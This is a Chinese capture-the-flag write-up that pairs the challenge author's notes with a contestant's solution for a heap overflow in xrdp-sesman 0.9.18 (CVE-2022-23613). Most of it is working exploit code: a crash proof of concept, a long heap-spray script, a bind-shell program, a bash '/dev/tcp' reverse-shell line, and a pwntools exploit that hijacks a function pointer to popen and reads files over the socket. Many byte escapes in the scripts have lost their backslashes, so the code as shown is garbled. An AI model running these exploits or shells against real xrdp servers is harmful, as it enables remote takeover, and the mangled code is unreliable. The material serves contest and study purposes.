出题团队简介
赛题设计思路
其实,当时发那篇文章时,并没有将本利用作为赛题提交给KCTF的打算。
但是现在一想,如果我当时没有发布那篇文章,这道题的攻克者是否就会更少一点呢……略有些遗憾,但其实能有师傅做出来的话也还是很令笔者高兴的,尤其是能看到师傅们的利用思路,不论是否与我的预期相符。秉承着 PWN FOR FUN 的原则,我仍然没有删除符号表,希望师傅们玩的开心。
一
回顾
复现环境
xrdp-sesman 0.9.18
The xrdp session manager
Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.
See https://github.com/neutrinolabs/xrdp for more information.
漏洞成因
static int
sesman_data_in(struct trans *self)
{
+ #define HEADER_SIZE 8
int version;
int size;
if (self->extra_flags == 0)
{
in_uint32_be(self->in_s, version);
in_uint32_be(self->in_s, size);
- if (size > self->in_s->size)
+ if (size < HEADER_SIZE || size > self->in_s->size)
{
- LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");
+ LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size);
return 1;
}
self->header_size = size;
@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self)
return 1;
}
/* reset for next message */
- self->header_size = 8;
+ self->header_size = HEADER_SIZE;
self->extra_flags = 0;
init_stream(self->in_s, 0); /* Reset input stream pointers */
}
return 0;
+ #undef HEADER_SIZE
}
else /* connected server or client (2 or 3) */
{
if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
{
}
else if (self->trans_can_recv(self, self->sck, 0))
{
cur_source = XRDP_SOURCE_NONE;
if (self->si != 0)
{
cur_source = self->si->cur_source;
self->si->cur_source = self->my_source;
}
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;
if (to_read > 0)
{
read_bytes = self->trans_recv(self, self->in_s->end, to_read);
struct trans *
trans_create(int mode, int in_size, int out_size)
{
struct trans *self = (struct trans *) NULL;
self = (struct trans *) g_malloc(sizeof(struct trans), 1);
if (self != NULL)
{
make_stream(self->in_s);
init_stream(self->in_s, in_size);
make_stream(self->out_s);
init_stream(self->out_s, out_size);
self->mode = mode;
self->tls = 0;
/* assign tcp calls by default */
self->trans_recv = trans_tcp_recv;
self->trans_send = trans_tcp_send;
self->trans_can_recv = trans_tcp_can_recv;
}
return self;
}
#define init_stream(s, v) do
{
if ((v) > (s)->size)
{
g_free((s)->data);
(s)->data = (char*)g_malloc((v), 0);
(s)->size = (v);
}
(s)->p = (s)->data;
(s)->end = (s)->data;
(s)->next_packet = 0;
} while (0)
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);
int
trans_check_wait_objs(struct trans *self)
{
......
if (self->type1 == TRANS_TYPE_LISTENER) /* listening */
{
......
}
else /* connected server or client (2 or 3) */
{
if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
{
}
else if (self->trans_can_recv(self, self->sck, 0))
{
cur_source = XRDP_SOURCE_NONE;
if (self->si != 0)
{
cur_source = self->si->cur_source;
self->si->cur_source = self->my_source;
}
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;
if (to_read > 0)
{
read_bytes = self->trans_recv(self, self->in_s->end, to_read);
......
}
......
}
return rv;
}
import socket
import struct
if __name__ == "__main__":
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",3350))
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
s.send(sdata)
sdata = b'a'*0x10000 #padding
s.send(sdata)
漏洞利用
struct trans *
trans_create(int mode, int in_size, int out_size)
{
struct trans *self = (struct trans *) NULL;
self = (struct trans *) g_malloc(sizeof(struct trans), 1);
......
self->trans_recv = trans_tcp_recv;
self->trans_send = trans_tcp_send;
self->trans_can_recv = trans_tcp_can_recv;
return self;
}
extern:00000000004105D8 extrn g_execvp:near
extern:0000000000410658 extrn g_execlp3:near
int
g_execvp(const char *p1, char *args[])
{
......
args_len = 0;
while (args[args_len] != NULL)
{
args_len++;
}
g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len);
g_rm_temp_dir();
rv = execvp(p1, args);
......
}
int
g_execlp3(const char *a1, const char *a2, const char *a3)
{
......
g_strnjoin(args_str, ARGS_STR_LEN, " ", args, 2);
......
g_rm_temp_dir();
rv = execlp(a1, a2, a3, (void *)0);
......
}
#include<stdlib.h>
int main()
{
char ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system("sh");";
execlp("python3","python3",ars2,0);
return 0;
}
self->trans_recv(self, self->in_s->end, to_read);
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;
因此它适用于堆喷,因为堆喷不需要知道地址是什么,我们只需要假设 to_read 和 self->in_s->end 是正确的即可,而 self->in_s->end 将会是一个已知值,因为我们假设 self->in_s 命中了堆内存,那里将会被我们用地址铺满。
二
转折点与破局
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;
if (to_read > 0)
{
read_bytes = self->trans_recv(self, self->in_s->end, to_read);
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);
静风点
通过每次建立连接时候调用的 trans_create 去申请大量的堆空间
else if (self->trans_can_recv(self, self->sck, 0))
{
...
if (to_read > 0)
{
read_bytes = self->trans_recv(self, self->in_s->end, to_read);
笔者在某次调试中,由于传参不规范,以至于给 trans_create 传递了过大的参数,最后发现堆空间申请到的大小甚至超出了 0xff00000
第一法破局:堆喷
import socket
import struct
import time
# bash -i >& /dev/tcp/0.0.0.0/9999 0>&1
def pack_addr2():
sdata = b"xbaxc9x40x00x00x00x00x00"
return sdata
con_list=[0]*300
for i in range(14):
con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[i].connect(("0.0.0.0",3350))
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[i].send(sdata)
sdata = pack_addr2()*0x10
con_list[i].send(sdata)
time.sleep(0.05)
con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[14].connect(("127.0.0.1",3350))
con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[15].connect(("127.0.0.1",3350))
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[15].send(sdata)
sdata = b'D'*0x10
con_list[15].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[14].send(sdata)
sdata = b'C'*0x4140+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x39x40x02x00x00x00x00x00"+b"x91x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[14].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += b"x58x01xdax00x00x00x00x00" #headersize
con_list[15].send(sdata)
################
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[13].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x98x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[13].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[14].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[12].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xe8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[12].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[13].send(sdata)
########
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[11].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf0x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[11].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[12].send(sdata)
#######
# use 10 to overflow 11 is failed
#######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[9].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[9].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[10].send(sdata)
#######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[8].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[8].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[9].send(sdata)
#######
# use 7 to overflow 8 is failed
#######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[6].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[6].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[7].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[5].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[5].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[6].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[4].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[4].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[5].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[3].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[3].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[4].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[2].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[2].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[3].send(sdata)
######
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[1].send(sdata)
sdata = b'C'*0x21b8+b"xb1x02x00x00x00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"x01x00x00x00"*2#bash+type+status
sdata+=b"x02x00x00x00x00x00x00x00"+b"xbaxc9x40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
sdata+=b"x00x00x00x7fx00x00x00x00"+b"x00x00x02x00x00x00x00x00"+b"xf8x04x41x00x00x00x00x00"#ar_addr
sdata+=b"x00x00x00x00x00x00x00x00"*4
sdata+=b"x00"*0x220+b"x70x3ax40x00x00x00x00x00"+b"xf0x3ax40x00x00x00x00x00"
sdata+=b"x70x3ax40x00x00x00x00x00"+b"x00x00x00x00x00x00x00x00"
con_list[1].send(sdata)
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[2].send(sdata)
######
print("Done!")
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x403000 r--p 3000 0 /usr/local/sbin/xrdp-sesman
0x403000 0x40b000 r-xp 8000 3000 /usr/local/sbin/xrdp-sesman
0x40b000 0x40f000 r--p 4000 b000 /usr/local/sbin/xrdp-sesman
0x40f000 0x410000 r--p 1000 e000 /usr/local/sbin/xrdp-sesman
0x410000 0x411000 rw-p 1000 f000 /usr/local/sbin/xrdp-sesman
0x1d24000 0x1d70000 rw-p 4c000 0 [heap]
0x1d70000 0x21e1000 rw-p 471000 0 [heap]
但在我提交题目以后才得知主办方的平台不能出网,因此反弹 shell 是不行的,需要通过正连完成。
第二法破局:伏击
read_bytes = self->trans_recv(self, self->in_s->end, to_read);
if (read_bytes == -1)
{
...
}
else
{
self->in_s->end += read_bytes;
}
struct trans *
trans_create(int mode, int in_size, int out_size)
{
struct trans *self = (struct trans *) NULL;
self = (struct trans *) g_malloc(sizeof(struct trans), 1);
...
return self;
}
#include<stdlib.h>
#include <errno.h>
#include <stdio.h>
int main()
{
//bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
char *ar[]={"bash","-i",">&","/dev/tcp/127.0.0.1/10000","0>&1",0};
int a=execvp("bash",ar);
return 0;
}
不过笔者还是建议尽量选择参数较少的实现方案。 此处说明来自第一次撰稿,此时笔者还不知道服务器不能反弹 shell。
例外与死屋
self->trans_recv(self, self->in_s->end, to_read);
char *deregister_tm_clones()
{
return &edata;
}
pwndbg> x/10gx 0x410492
0x410492 <[email protected]+2>: 0x3930000000000040 0x0000000000000040
0x4104a2: 0x0000000000000000 0x5217000000000000
三
一波三折
-
本地和远程使用同一个 docker 镜像,但本地能够稳定打通,远程却是稳定打不通。
-
在远程服务器中,我在 docker 里使用 gdb 进行调试,当我使用了断点,那么将会稳定打通
事实上,笔者最初希望它能够是 python3,它失败了,于是我转而使用 sh,它仍然失败了,迫不得已,我什么也不放,结果程序并没有崩溃,我只好找其他方法了(但如果是 x00x10,它似乎也不会崩溃)。
.text:000000000040955D lea rax, aReconnectwmSh+0Ch ; "sh"
.text:0000000000409564 lea rsi, [rsp+0B68h+var_AC8]
.text:000000000040956C mov [rsp+0B68h+var_AB0], 0
.text:0000000000409578 mov [rsp+0B68h+var_AC8], rax
.text:0000000000409580 lea rax, aC ; "-c"
.text:0000000000409587 lea rdi, aBinSh ; "/bin/sh"
.text:000000000040958E mov [rsp+0B68h+var_AC0], rax
.text:0000000000409596 mov rax, [rbx+68h]
.text:000000000040959A mov [rsp+0B68h+var_AB8], rax
.text:00000000004095A2 call _g_execvp
第二折
char *ar={"/bin/sh","-c","xxxxx",0};
execvp("/bin/sh",ar);
第三折
通过 execvp 开启的 sh 进程与原本的 xrdp-sesman 其实算是同一个进程,它继承了相同的属性,但是通过 -c 参数后跟上 python3,它将会另外启动一个 python 进程,该进程并不是 sh 的子进程,通过 os.popen(“kill pid”) 可以直接释放端口。
四
后日谈
注:
此处的本地提权是指最初的利用方案,通过创建一个可执行文件,让进程直接执行文件来避开参数控制的难点;而0click则指,只需要机器打开该服务,就可以直接发包拿下主机。
有条件漏洞指的是需要在源代码上允许进程建立大量的连接;无条件漏洞指的是可以直接使用未经修改的源代码编译出的二进制程序完成利用。
(不知道自己的理解是否出错,若是如此,还望指正。)
这乐趣正是出于对自己堕落的十分明确的意识:是由于你自己也感到你走到了最后一堵墙;这很恶劣,但是舍此又别无他途;你已经没有了出路,你也永远成不了另一种人;即使还剩下点时间和剩下点信心可以改造成另一种人,大概你自己也不愿意去改造:即使愿意,大概也一事无成,因为实际上,说不定也改造不了任何东西。
赛题解析
本赛题解析由看雪论坛会员 tkmk 给出:
熬夜一天+通宵一天,终于解出来了,激动的心,颤抖的手。
环境搭建
拿到附件,常规操作 file 一下,发现居然是一个带符号、带调试信息的 ELF
attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a52a0533f20440fa6f9c65fdf61fa51deddc018, for GNU/Linux 3.2.0, with debug_info, not stripped
在 22.04 中,直接执行会报错:
./attachment: error while loading shared libraries: libcommon.so.0: cannot open shared object file: No such file or directory
按照作者的文档,apt 安装好依赖,再执行依然报错。谷歌一下这个报错,再结合 IDA 看到的 print_version 里 g_writeln(“xrdp-sesman %s”, “0.9.18”);,不难发现附件是 xrdp 中的 xrdp-sesman。
为了尽可能接近远程环境,我选择 clone xrdp 仓库,本地编译并 make install,然后用附件替换掉 /usr/local/sbin/xrdp-sesman。编译时确实遇到了 openssl 相关的错误,在网上找到的解决方案:
# download binary openssl packages from Impish builds
wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_1.1.1f-1ubuntu2.16_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_1.1.1f-1ubuntu2.16_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2.16_amd64.deb
# install downloaded binary packages
sudo dpkg -i libssl1.1_1.1.1f-1ubuntu2.16_amd64.deb
sudo dpkg -i libssl-dev_1.1.1f-1ubuntu2.16_amd64.deb
sudo dpkg -i openssl_1.1.1f-1ubuntu2.16_amd64.deb
利用分析
0.9.18 的 xrdp-sesman 有 CVE-2022-23613,实际上一搜跳出来的就是出题人曾经的分析文章,通读下来可以知道,利用方式主要是堆溢出覆盖函数指针。文章使用本地提权的方式,先在本地写好要执行的文件,使用堆喷布置参数,利用 plt 中的 g_execvp、g_execlp3 执行命令。
由于出题人已经介绍过 xrdp 源码、重要结构体,下文不再提及这些内容
简单尝试一下会发现,服务非常容易打挂,并且平台容器没有重启机制,甚至还有频率限制——于是会出现:开容器,十秒打挂,等一分钟后销毁容器,等一分钟后再开新容器。基于这些考虑,不得不放弃堆喷,转而寻找更稳定高效的利用。
首先肯定是需要一个能覆盖函数指针的方法。经过简单地风水(我是新建连接 0、1,关闭连接 0、1,新建连接 2 作为后续使用),可以找到一个 trans 结构体,其 self->in_s->end 地址低于结构体本身,也就是产生的溢出可以覆盖结构体本身。(我认为覆盖自身的情况只需要一个连接,会更稳定)
接下来开始物色覆盖指针的目标。
在翻阅 plt 的时候,发现除了出题人介绍过的两个 exec 家族的封装,还有一个 popen 是高价值目标。它需要给定两个字符串参数(popen(“cmd”, “r”)),于是开始查看每个函数指针的使用情况,主要是以下三种:
self->trans_can_recv(self, self->sck, 0);
self->trans_recv(self, self->in_s->end, to_read);
self->trans_data_in(self);
self->sck 是结构体的第一个参数。也就是说,对于 trans_can_recv,有 *self == self->sck 的情况,显然不能满足传递两个字符串。
对于 trans_recv,可以放心地布置第一个参数为字符串。但 self->in_s->end 正常是指向要写入的位置,内容不太可控。在 trans_data_in 下面有一个 init_stream 可以把指针重置到开头,但重置之后需要等到下次轮询,才能回到使用其他函数指针的位置,每次轮询开始之前,会对 sck 进行 select 无法顺利通过。也就是说,如果想控制 trans_recv 的第二个参数,就无法控制第一个。
最后的希望是 trans_data_in。虽然它只有一个参数(而且是可控的),但是寄存器里有其他的值。调试一下会发现,此时第二个参数 RSI 指向的是 self->in_s->data 的位置(或者它的附近),也是可控的!
如果想要调用到 trans_data_in,还有一个前置条件,read_so_far == self->header_size,这个计算一下数据长度,不难实现。
于是我们可以开始布置溢出参数,这个时候会发现,trans_data_in 指针十分靠前,在结构体的偏移是 0x18 —— 这意味着第一个参数的字符串最多只能长 24。作为对比,第二个参数只需要简简单单一个 “r”,却有上千字节的空间。
我一度以为在不出网环境下,24 字节无法完成利用(先 kill server,然后用 Python 监听 3350 端口,做一个 Bind Shell)。此时尚是第二天夜晚,题目还是零解的情况,错过这个机会有点可惜。
后来我又去寻觅了一个任意长度的命令执行,但是只有在 gdb 下断点的时候才能实现。总之,在调试长命令的时候,我才注意到,子进程继承了 socket 连接,可以直接向 7 号 fd 输出,回头看 popen 才发现也可以,于是最后 ls -al >&7、cat flag >&7 两条命令解决(当然还只是本地)。
贴 exp:
from pwn import *
elf = ELF('./attachment')
context.log_level = 'debug'
context.arch = 'amd64'
HOST = "0.0.0.0"
PORT = 3350
if len(sys.argv) > 1:
HOST = '221.228.109.254'
PORT = int(sys.argv[1])
r2 = remote(HOST, PORT)
r3 = remote(HOST, PORT)
sleep(1)
r2.close()
r3.close()
sleep(1)
r = remote(HOST, PORT)
payload = flat(
# b"A" * 0x24F8,
(b'r'+b'x00'*7)*1183,
b'echo xx >&7; cat f* >&7'.ljust(24, b'x00'), # len 24
# b'touch /a;ls -al . / >&7'.ljust(24, b'x00'), # len 24
elf.plt.popen, # trans_data_in
#0x1234, # trans_data_in
0, # trans_conn_in
0, # callback_data
b'SIZESIZE', # header_size
0x410478, # in s
0, # out s
)
# total ~0x2500
r.send(p32(0) + p32(0x80000001, endian='big'))
payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10))
r.send(payload)
r.interactive()
其中 in_s 的覆盖不是必要的,去掉的话 header size 要做相应调整。这里覆盖的原因是,这个 exp 是从下面没走通的路改出来的。
出题人在群里提到远程奇奇怪怪的问题,其实我找到的任意长度的执行也是因为这个无法实现。因为挺有意思(实际上也复杂得多),我也介绍一下这个利用。
一条走不通的路
我准备把指针换成 session_start_fork 里的 gadget 片段:
.text:000000000040955D lea rax, aReconnectwmSh+0Ch ; "sh"
.text:0000000000409564 lea rsi, [rsp+0B68h+params] ; argv
.text:000000000040956C mov [rsp+0B68h+params+18h], 0
.text:0000000000409578 mov [rsp+0B68h+params], rax
.text:0000000000409580 lea rax, aC ; "-c"
.text:0000000000409587 lea rdi, file ; "/bin/sh"
.text:000000000040958E mov [rsp+0B68h+params+8], rax
.text:0000000000409596 mov rax, [rbx+68h]
.text:000000000040959A mov [rsp+0B68h+params+10h], rax
.text:00000000004095A2 call _g_execvp
如果用 trans 的任意函数指针跳到这里,只有 RBX 会被使用,RBX 即 trans 结构体的地址。这段 gadget 从 trans->addr 取了一个指针,作为 sh -c 的命令执行。也就是说,如果我们在内存中写入一条命令,并且知道命令的地址,就可以实现任意长度的代码执行了。
那么往哪里写呢?基本上写内存就 trans_recv 一条路。如果我们提前覆盖 self->in_s,让其 end 本身在 rw 段,其指向也在 rw 段(因为写完内存会有 self->in_s->end += read_bytes;,修改指针)。
唯一已知的 rw 段是:0x410000 – 0x411000,这个段里主要是 GOT 表和全局变量,并没有指向段内的指针。
如果是堆,需要泄露地址。修改 trans->wait_s 为几个全局变量(存的是堆指针),可以在 trans_send_waiting 中向 socket 泄漏很多内存,但是泄露之后有一个 free 的检查无法通过。
于是我还是回到了 0x410000 的考虑,这里有的指针还是比较接近段内的。比如 0x410000 是 0x40fde0,一大堆没有解析的 GOT 表基本指向 0x403…。
我希望使用 self->in_s->end += read_bytes; 来调整指针,举例来说,如果把 0x410000 的值增大一点点,它就落在了 rw 段内。我需要前面那个能覆盖自身的 trans,覆盖 self->in_s 到 0x410000-8,这样 self->in_s->end 就对上了 0x410000。
如果我写入的长度 read_bytes 落在 0x220 ~ 0x1220 之间,那么我就有了一个确定地址的、可写的指针。当然,这个 trans 还需要能覆盖之后一个 trans 的 in_s,使其数据写在这个确定地址上。
